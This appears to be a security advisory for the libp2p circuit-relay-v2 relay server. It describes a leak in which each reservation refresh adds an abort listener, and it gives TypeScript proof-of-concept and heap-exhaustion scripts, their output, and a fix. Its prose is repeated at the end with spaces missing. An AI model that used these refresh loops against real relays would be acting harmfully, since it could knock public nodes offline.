Summary
@libp2p/circuit-relay-v2 relay servers add a new abort listener every time an existing relay reservation is refreshed. The reservation refresh path reuses the same retimeableSignal, but the listener is registered unconditionally after both new reservations and refreshes. A remote peer can repeatedly send valid RESERVE requests for the same reservation, causing unbounded listener and closure growth.
Details
The vulnerable code is in packages/transport-circuit-relay-v2/src/server/reservation-store.ts:
if (reservation != null) {
this.log('refreshing reservation for client %p', peer)
reservation.signal.reset(this.reservationTtl)
} else {
this.log('creating new reservation for client %p', peer)
reservation = {
addr,
expiry,
limit: checkedLimit,
signal: retimeableSignal(this.reservationTtl)
}
}
this.reservations.set(peer, reservation)
reservation.signal.addEventListener('abort', () => {
this.reservations.delete(peer)
})
On the first RESERVE, the store creates a reservation and attaches one abort listener. On every later RESERVE from the same peer, the store calls reservation.signal.reset(this.reservationTtl), and then attaches another listener to the same reservation.signal. The old listener is not removed.
The remote entry point is the circuit relay v2 HOP server in packages/transport-circuit-relay-v2/src/server/index.ts:
case HopMessage.Type.RESERVE: await this.handleReserve({ stream, request, connection }, options); break
handleReserve then calls:
const result = this.reservationStore.reserve(connection.remotePeer, connection.remoteAddr)
This is reachable by a peer that can connect to a relay server and open HOP protocol streams. maxReservations only limits the number of distinct peers. It does not limit refreshes for an existing reservation, so one peer can keep one reservation entry while growing an unbounded number of listeners. The default reservation TTL is two hours, and each refresh resets the same timer, allowing the accumulated listeners to remain live.
Recommended fix: attach the abort listener only when a new retimeableSignal is created, or otherwise remove/replace the previous listener before registering a new one. The intended invariant is one abort listener per reservation signal lifetime, not one listener per successful refresh.
PoC
// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { getEventListeners } from 'node:events'
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { multiaddr } from '@multiformats/multiaddr'
import { ReservationStore } from '../../packages/transport-circuit-relay-v2/dist/src/server/reservation-store.js'
const label = 'circuit-relay-v2 server reservation refresh abort-listener leak'
const refreshes = 25
async function main (): Promise<void> {
const peer = peerIdFromPrivateKey(await generateKeyPair('Ed25519'))
const addr = multiaddr('/ip4/203.0.113.10/tcp/4001')
const store = new ReservationStore({
logger: defaultLogger()
}, {
maxReservations: 1,
reservationTtl: 60 * 60 * 1000
})
const first = store.reserve(peer, addr)
assert.equal(first.status, 'OK')
const reservation = store.get(peer)
assert.ok(reservation)
const signal = reservation.signal
const initialListeners = getEventListeners(signal, 'abort').length
assert.equal(initialListeners, 1)
for (let i = 0; i < refreshes; i++) {
const refresh = store.reserve(peer, addr)
assert.equal(refresh.status, 'OK')
assert.equal(store.get(peer)?.signal, signal)
}
const finalListeners = getEventListeners(signal, 'abort').length
assert.equal(store.reservations.size, 1)
assert.equal(finalListeners, initialListeners + refreshes)
console.log(`${label} reproduced`)
console.log(`reservation entries: ${store.reservations.size}`)
console.log(`same signal reused: ${store.get(peer)?.signal === signal}`)
console.log(`refresh calls: ${refreshes}`)
console.log(`abort listeners before refresh: ${initialListeners}`)
console.log(`abort listeners after refresh: ${finalListeners}`)
}
main().catch(err => {
console.error(err)
process.exitCode = 1
})
The PoC creates a ReservationStore with maxReservations: 1, reserves once for a generated peer, then refreshes the same reservation 25 times. It verifies that the store still has only one reservation and that the same signal object is reused, while the signal's abort listener count grows from 1 to 26.
Expected output:
circuit-relay-v2 server reservation refresh abort-listener leak reproduced
reservation entries: 1
same signal reused: true
refresh calls: 25
abort listeners before refresh: 1
abort listeners after refresh: 26
Additional local memory measurement:
npx --yes tsx --expose-gc ./poc-memory.mts --samples=10000,50000
npx --yes tsx --expose-gc ./poc-memory.mts --samples=10000,50000 --oom
import { getEventListeners } from 'node:events'
import { spawn } from 'node:child_process'
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { multiaddr } from '@multiformats/multiaddr'
import { ReservationStore } from '../../packages/transport-circuit-relay-v2/dist/src/server/reservation-store.js'
import type { PeerId } from '@libp2p/interface'
import type { Multiaddr } from '@multiformats/multiaddr'
function argValue (name: string): string | undefined {
const arg = process.argv.find(arg => arg.startsWith(`${name}=`))
return arg?.slice(name.length + 1)
}
function hasFlag (name: string): boolean {
return process.argv.includes(name)
}
function parseNumberArg (name: string, fallback: number): number {
const value = Number.parseInt(argValue(name) ?? '', 10)
if (Number.isSafeInteger(value) && value > 0) {
return value
}
return fallback
}
function parseSamples (): number[] {
return (argValue('--samples') ?? '10000,50000')
.split(',')
.map(value => Number.parseInt(value, 10))
.filter(value => Number.isSafeInteger(value) && value > 0)
.sort((a, b) => a - b)
}
async function createStore (): Promise<{
store: ReservationStore
peer: PeerId
addr: Multiaddr
signal: AbortSignal
}> {
const peer = peerIdFromPrivateKey(await generateKeyPair('Ed25519'))
const addr = multiaddr('/ip4/203.0.113.10/tcp/4001')
const store = new ReservationStore({
logger: defaultLogger()
}, {
maxReservations: 1,
reservationTtl: 60 * 60 * 1000
})
store.reserve(peer, addr)
const reservation = store.get(peer)
if (reservation == null) {
throw new Error('reservation was not created')
}
return { store, peer, addr, signal: reservation.signal }
}
function runGc (): void {
;(globalThis as typeof globalThis & { gc?: () => void }).gc?.()
}
async function measureRetainedHeap (): Promise<void> {
const { store, peer, addr, signal } = await createStore()
const samples = parseSamples()
const hasGc = typeof (globalThis as typeof globalThis & { gc?: () => void }).gc === 'function'
const results: Array<{ refreshes: number, bytesPerRefresh: number }> = []
console.log(`Node: ${process.version}`)
console.log(`GC exposed: ${hasGc}`)
console.log(`Samples: ${samples.join(', ')}`)
runGc()
const baseHeap = process.memoryUsage().heapUsed
let refreshes = 0
for (const target of samples) {
while (refreshes < target) {
store.reserve(peer, addr)
refreshes++
}
runGc()
const heapUsed = process.memoryUsage().heapUsed
const heapDelta = heapUsed - baseHeap
const bytesPerRefresh = heapDelta / refreshes
results.push({ refreshes, bytesPerRefresh })
console.log(JSON.stringify({
refreshes,
listeners: getEventListeners(signal, 'abort').length,
heapUsed,
heapDelta,
bytesPerRefresh
}))
}
console.log('')
console.log('GC-controlled retained heap measurement:')
for (const result of results) {
console.log(`${result.refreshes} refreshes: ~${Math.round(result.bytesPerRefresh)} bytes retained per refresh`)
}
}
async function runOomMeasurement (): Promise<void> {
const oldSpaceMb = parseNumberArg('--oom-old-space-mb', 64)
const logEvery = parseNumberArg('--oom-log-every', 10000)
const childScript = `
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { multiaddr } from '@multiformats/multiaddr'
import { ReservationStore } from './packages/transport-circuit-relay-v2/dist/src/server/reservation-store.js'
const peer = peerIdFromPrivateKey(await generateKeyPair('Ed25519'))
const addr = multiaddr('/ip4/203.0.113.10/tcp/4001')
const store = new ReservationStore({ logger: defaultLogger() }, { maxReservations: 1, reservationTtl: 60 * 60 * 1000 })
store.reserve(peer, addr)
let refreshes = 0
while (true) {
store.reserve(peer, addr)
refreshes++
if (refreshes % ${logEvery} === 0) {
const memory = process.memoryUsage()
console.log(refreshes + ' refreshes heapUsed=' + (memory.heapUsed / 1024 / 1024).toFixed(1) + ' MB rss=' + (memory.rss / 1024 / 1024).toFixed(1) + ' MB')
}
}
`
console.log('')
console.log('Constrained heap OOM measurement:')
console.log(`node --max-old-space-size=${oldSpaceMb}`)
await new Promise<void>((resolve, reject) => {
const child = spawn(process.execPath, [
`--max-old-space-size=${oldSpaceMb}`,
'--input-type=module',
'--eval',
childScript
], {
cwd: process.cwd(),
stdio: ['ignore', 'pipe', 'pipe']
})
let stderr = ''
child.stdout.setEncoding('utf8')
child.stderr.setEncoding('utf8')
child.stdout.on('data', chunk => {
process.stdout.write(chunk)
})
child.stderr.on('data', chunk => {
stderr += chunk
})
child.on('error', reject)
child.on('close', (code, signal) => {
const fatalLine = stderr
.split('\n')
.find(line => line.includes('FATAL ERROR:'))
if (fatalLine != null) {
console.log(fatalLine.trim())
} else {
process.stderr.write(stderr)
}
if (code != null) {
console.log(`OOM child exited with code ${code}`)
} else {
console.log(`OOM child exited with signal ${signal}`)
}
resolve()
})
})
}
await measureRetainedHeap()
if (hasFlag('--oom')) {
await runOomMeasurement()
}
Results:
Node: v24.14.0
GC exposed: true
Samples: 10000, 50000
{"refreshes":10000,"listeners":10001,"heapUsed":25110992,"heapDelta":12349560,"bytesPerRefresh":1234.956}
{"refreshes":50000,"listeners":50001,"heapUsed":73492784,"heapDelta":60731352,"bytesPerRefresh":1214.62704}
GC-controlled retained heap measurement:
10000 refreshes: ~1235 bytes retained per refresh
50000 refreshes: ~1215 bytes retained per refresh
Constrained heap OOM measurement:
node --max-old-space-size=64
10000 refreshes heapUsed=23.8 MB rss=88.6 MB
20000 refreshes heapUsed=32.4 MB rss=118.9 MB
30000 refreshes heapUsed=49.2 MB rss=119.6 MB
40000 refreshes heapUsed=55.8 MB rss=146.4 MB
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
OOM child exited with signal SIGABRT
Impact
A remote peer that can reserve on a public relay repeatedly refreshes its reservation, leaking one abort listener per refresh on the same reused signal. The retained heap grows ~1.2 KB per refresh; OOM took ~45,000 refreshes on a 64 MB heap. This is a sustained-traffic DoS, not a one-shot crash.
Summary
@libp2p/circuit-relay-v2relay servers add a newabortlistener every time an existing relay reservation is refreshed. The reservation refresh path reuses the sameretimeableSignal, but the listener is registered unconditionally after both new reservations and refreshes. A remote peer can repeatedly send validRESERVErequests for the same reservation, causing unbounded listener and closure growth.Details
The vulnerable code is in
packages/transport-circuit-relay-v2/src/server/reservation-store.ts:On the first
RESERVE, the store creates a reservation and attaches oneabortlistener. On every laterRESERVEfrom the same peer, the store callsreservation.signal.reset(this.reservationTtl), and then attaches another listener to the samereservation.signal. The old listener is not removed.The remote entry point is the circuit relay v2 HOP server in
packages/transport-circuit-relay-v2/src/server/index.ts:handleReservethen calls:This is reachable by a peer that can connect to a relay server and open HOP protocol streams.
maxReservationsonly limits the number of distinct peers. It does not limit refreshes for an existing reservation, so one peer can keep one reservation entry while growing an unbounded number of listeners. The default reservation TTL is two hours, and each refresh resets the same timer, allowing the accumulated listeners to remain live.Recommended fix: attach the abort listener only when a new
retimeableSignalis created, or otherwise remove/replace the previous listener before registering a new one. The intended invariant is one abort listener per reservation signal lifetime, not one listener per successful refresh.PoC
The PoC creates a
ReservationStorewithmaxReservations: 1, reserves once for a generated peer, then refreshes the same reservation 25 times. It verifies that the store still has only one reservation and that the same signal object is reused, while the signal'sabortlistener count grows from 1 to 26.Expected output:
Additional local memory measurement:
Results:
Impact
A remote peer that can reserve on a public relay repeatedly refreshes its reservation, leaking one abort listener per refresh on the same reused signal. The retained heap grows ~1.2 KB per refresh; OOM took ~45,000 refreshes on a 64 MB heap. This is a sustained-traffic DoS, not a one-shot crash.